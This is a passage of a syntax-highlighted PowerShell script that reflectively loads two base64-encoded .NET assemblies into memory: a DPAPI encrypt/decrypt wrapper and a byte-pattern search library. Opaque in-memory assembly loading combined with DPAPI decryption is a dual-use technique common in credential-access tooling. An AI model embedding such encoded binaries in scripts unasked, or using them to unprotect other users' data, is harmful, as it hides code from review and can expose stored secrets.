AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAYDMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="o">))</span> | Out-Null

    <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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YWdzAHBDaXBoZXJUZXh0AHBzekRlc2NyaXB0aW9uAHBzAGRhdGEAYmxvYgBwbGFpblRleHQAa2V5VHlwZQBlbnRyb3B5AGRlc2NyaXB0aW9uAHBsYWluVGV4dEJ5dGVzAGVudHJvcHlCeXRlcwBjaXBoZXJUZXh0AFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBPdXRBdHRyaWJ1dGUAY2lwaGVyVGV4dEJ5dGVzAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBjcnlwdDMyLmRsbABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAU2l6ZU9mAEJ5dGUAQWxsb2NIR2xvYmFsAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AEV4Y2VwdGlvbgBDb3B5AFN0cmluZwBFbXB0eQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAEdldExhc3RXaW4zMkVycm9yAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgBvcF9JbmVxdWFsaXR5AEZyZWVIR2xvYmFsAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAC5jY3RvcgBvcF9FeHBsaWNpdABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTVEFUaHJlYWRBdHRyaWJ1dGUAQ29uc29sZQBXcml0ZUxpbmUAZ2V0X01lc3NhZ2UAZ2V0X0lubmVyRXhjZXB0aW9uAAAAZVUAbgBhAGIAbABlACAAdABvACAAYQBsAGwAbwBjAGEAdABlACAAZABhAHQAYQAgAGIAdQBmAGYAZQByACAAZgBvAHIAIABCAEwATwBCACAAcwB0AHIAdQBjAHQAdQByAGUALgAAQ0MAYQBuAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHAAbABhAGkAbgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA/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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAJAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="</span><span class="o">))</span> | Out-Null
   
    <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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YgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="</span><span class="o">))</span> | Out-Null

    <span class="nv">$NullReferenceString</span> <span class="o">=</span> <span class="s2">""</span>
    <span class="nv">$ProtectedFiles</span> <span class="o">=</span> @<span class="o">()</span>
